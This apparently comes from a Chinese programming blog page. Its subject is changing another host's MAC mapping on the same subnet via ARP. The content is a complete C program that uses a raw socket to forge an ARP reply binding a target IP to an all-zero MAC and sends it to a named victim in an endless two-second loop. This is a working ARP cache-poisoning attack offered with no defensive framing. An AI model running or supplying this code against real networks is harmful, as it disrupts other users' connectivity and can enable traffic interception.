ARP协议改mac地址

##改变同一网段别人的mac地址

#include <stdio.h>
#include <sys/socket.h>//socket
#include <arpa/inet.h>//htons
#include <netinet/ether.h>//ETH_P_ALL
#include <unistd.h>//close
#include <sys/ioctl.h>
#include <string.h>
#include <netpacket/packet.h>//sockaddr_ll
#include <net/if.h>//struct ifreq
#include <net/ethernet.h>//struct ether_header
#include <net/if_arp.h>//struct arphdr
int main(int argc, char const *argv[]){   
 //创建一个原始套接字  
   int fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
    //组包(arp)  
       unsigned char dst_mac[6]={0x70,0x5A,0x0F,0x63,0xF5,0x9D};   
        unsigned char src_mac[6]={0x00,0x00,0x00,0x00,0x00,0x00}; 
           unsigned char src_ip[4] = {10,0,121,217};  
       unsigned char dst_ip[4] = {10,0,121,196};    
    unsigned char msg[1500]="";
    //组mac头   
     struct ether_header *eth_hd = (struct ether_header *)msg;  
       //赋值目的mac   
        memcpy(eth_hd->ether_dhost,dst_mac,6);   
         //源mac  
           //memset(eth_hd->ether_shost,0,6); 
              memcpy(eth_hd->ether_shost,src_mac,6); 
                 //协议类型 
                    eth_hd->ether_type = htons(0x0806);
    //组arp头   
     struct arphdr *arp_hd = (struct arphdr *)(msg+14);  
       arp_hd->ar_hrd = htons(1);//硬件类型  
         arp_hd->ar_pro = htons(0x0800);//协议类型  
           arp_hd->ar_hln = 6;//硬件地址长度 
              arp_hd->ar_pln = 4;//协议地址长度  
                arp_hd->ar_op = htons(2);//应答  
                  memcpy(arp_hd->__ar_sha,src_mac,6);//源mac  
                    memcpy(arp_hd->__ar_sip,src_ip,4);//源ip  
                      memcpy(arp_hd->__ar_tha,dst_mac,6);//目的mac  
                        memcpy(arp_hd->__ar_tip,dst_ip,4);//目的ip
    int len = 42;
    //从原始套接字发送数据  
      //获取网络结构类型    
      struct ifreq ethreq;  
        strncpy(ethreq.ifr_name,"ens33",IFNAMSIZ); 
           ioctl(fd, SIOCGIFINDEX, &ethreq);
    //指明出去的网络接口    
    struct sockaddr_ll sll;   
     bzero(&sll,sizeof(sll)); 
        sll.sll_ifindex = ethreq.ifr_ifindex;
    while(1)  
      {     
         sendto(fd,msg,len,0,(struct sockaddr *)&sll, sizeof(sll)); 
                sleep(2);   
                 }      
                   close(fd);
    return 0;}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

路漫漫其远,吾求索

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值